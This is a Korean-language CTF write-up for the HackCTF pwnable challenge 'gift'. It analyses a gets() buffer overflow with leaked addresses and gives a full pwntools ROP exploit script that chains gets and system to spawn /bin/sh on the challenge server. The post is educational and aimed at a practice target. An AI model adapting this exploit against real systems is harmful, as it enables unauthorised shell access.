HackCTF는 여러 해킹 기법들을 공부할 수 있는 워게임 사이트로 주소는
HackCTF
Do you wanna be a God? If so, Challenge!
ctf.j0n9hyun.xyz
오늘 풀어볼 문제는 HackCTF에 있는 포너블 분야의 문제로
gift 문제입니다.
해당 문제는 ROP 기법을 사용해야 풀 수 있습니다.
지금까지 배웠던 기법 중에서는 어려운 편에 속하는 것 같습니다.
이번 글에서는 문제 풀이를 위주로 작성할 것이기 때문에 나중에 ROP 기법에 대해서 정리하도록 하겠습니다.
ROP 기법이 궁금하신 분은 다음 사이트를 참고해주시면 좋겠습니다.
ROP (Return Oriented Programming)
ROP(Return Oriented Programming)란? ROP는 NX bit와 ASLR(Address Space Layout Randomize) 같은 메모리 보호 기법을 우회하기 위한 공격 기법으로, RTL(Return-to-libc), RTL Chaining, GOT Overwrite 기법을..
d4m0n.tistory.com

그림과 같이 gift라는 문제 이름과 접속 주소 그리고 실행 파일이 첨부되어 있다.
원격으로 접속해보면,

입력 받고, 입력받은 것을 출력하고, 다시 입력 받는데
실행할 때마다 주어지는 0x~~~값이 달라진다.
해당 파일을 다운 받아서 IDA Pro로 분석해보면 다음과 같다.

main 코드 분석
binsh와 system의 주소 값을 출력해주고
fgets로 입력받고, 입력 받은 것을 출력하고, gets로 다시금 입력 받는다.
여기서 printf(%s)로 인해서 FSB가 발생할 수 있으며, get(%s)에서 BOF가 발생할 수 있다.
그런데,
실행할 때마다 주소 값이 달라지는 것을 통해 ASLR이 적용된 것을 알 수 있다.
다시 말해서 계속해서 주소 값이 바뀌기 때문에 FSB를 이용해 %c로 넘겨줄 수 없다.
더불어, binsh를 보면, binsh는 bss 영역으로 전역변수이다.
ASLR로 인해서 스택, 힙, 라이브러리 영역의 주소 값이 바뀌는데, bss는 속하지 않는다.
앞의 정보를 통해서 공략법을 생각해보면
binsh라는 주소 값과 system 함수의 주소 값을 알 수 있고, gets 함수가 한 번 사용되므로
(gets가 한 번 사용되므로 두 번째 사용 때 주소 값(gets_got)은 고정된다.)
ROP 기법을 활용해서 페이로드를 작성해볼 수 있다.
우선, binsh에는 system 함수의 인자인 "/bin/sh"가 들어 있어야 한다.
1. "/bin/sh"를 binsh에 넣기 위해서는 gets(%s)에서 BOF를 일으켜 gets를 한 번 더 실행시켜야 한다.
2. 그리고, 이어서 system 함수를 실행시키고 "/bin/sh"를 인자로 즉, binsh를 인자로 넘겨주면 권한을 획득할 수 있다.
즉, chaining을 적용해야 한다.
정리해보면, BOF를 일으켜 ret에 gets_plt 값을 넣어 gets를 실행하고 인자로 binsh를 넘겨서 "/bin/sh" 값을 넣을 수 있게 한다.
이어서, system 함수를 실행시켜 인자로 binsh("/bin/sh")를 넘겨주어 권한을 획득한다.
스택 구조
----------------------------------------------
s
(0x84)
----------------------------------------------
sfp
(0x04)
----------------------------------------------
ret
(0x04)
(gets_plt 들어갈 자리)
----------------------------------------------
pop_ret gadget 자리
(0x04)
chaining을 위해서 필요
----------------------------------------------
gets 인자 자리
(0x04)
(binsh 주소가 들어갈 자리)
----------------------------------------------
system 주소가 들어갈 자리
(0x04)
----------------------------------------------
system 실행 후 복귀할 자리
(0x04)
의미 없음 dummy로 채워짐
----------------------------------------------
system 함수 인자 "/bin/sh"
(0x04)
(binsh 주소가 들어갈 자리)
----------------------------------------------
이를 바탕으로 페이로드를 작성하면 다음과 같다.
from pwn import*
p = remote("ctf.j0n9hyun.xyz", 3018)
e = ELF("./gift")
gets_plt = e.plt['gets']
pop_ret = 0x080483ad
p.recvuntil("are: ")
binsh = int(p.recv(9), 16)
log.info('binsh : 0x%x' %binsh) // 값이 잘 들어갔는지 확인차
p.recv(1)
system_address = int(p.recv(10), 16)
log.info('sys : 0x%x' %system_address) // 값이 잘 들어갔는지 확인차
p.sendline("abcd")
payload = "a"*136 + p32(gets_plt) + p32(pop_ret) + p32(binsh) + p32(system_address) + "aaaa" + p32(binsh)
p.send(payload)
p.send("/bin/sh")
p.interactive()
페이로드 해설
get_plt 값을 구하고,
pop ret gadget 주소는
ROPgadget --binary (파일명) | grep '(찾을 가젯)'
명령어를 통해서 pop ~, ret 으로 찾은 주소인 0x080483ad을 사용했다.
binsh와 system 함수 주소를 받아서
gets(%s)에서 BOF를 일으켜 gets를 한 번 더 실행시켜 binsh를 "/bin/sh"로 채우고,
이어서 system 함수를 인자로 binsh("/bin/sh")실행시키는 코드를 작성했다.
다시 말해서 sfp까지 136바이트는 아무 값으로 채웠고,
get_plt + pop ret gadget + binsh
(gets 함수를 binsh를 인자로 호출해서 binsh에 값을 채워 넣기 위함)
system 함수 주소 + 더미 4바이트 + system 함수 인자 binsh("/bin/sh")
의 페이로드를 s에 입력해주고,
이로 인해서 실행된 gets의 binsh에 p.send("/bin/sh") 값을 넣어주었다.
페이로드를 실행시킨 결과 다음과 같은 과정으로 플래그를 얻었다.

이렇게 문제가 해결된다~~!!!
추가적으로, 처음에 페이로드를 작성했는데 EOF가 계속 발생해서 애를 먹었는데 친구의 도움으로 해결했다.
여기서 문제였던 점은
fgets로 입력 받기 때문에 p.send("~")가 아닌 p.senline("~")을 해주어야 하는데, p.send를 사용했던 것이다.
앞으로 fgets인 경우, p.sendline을 사용하길 바랍니다.
'Wargame > Pwnable' 카테고리의 다른 글
| [포너블] HackCTF RTL_CORE 문제풀이 | libc base leak, RTL (0) | 2021.01.25 |
|---|---|
| [포너블] HackCTF ROP 문제 풀이 | ROP 기법, 페이로드 작성 (0) | 2021.01.19 |
| [포너블] HackCTF Basic_FSB 문제 풀이 | FSB, IDA pro 사용 (0) | 2021.01.14 |
| [포너블] HackCTF Basic_BOF #1문제 풀이 | BOF, IDA Pro 사용 (0) | 2021.01.14 |
| [포너블] 드림핵(Dreamhack) basic_exploitation_003 문제 풀이 | FSB (0) | 2021.01.14 |
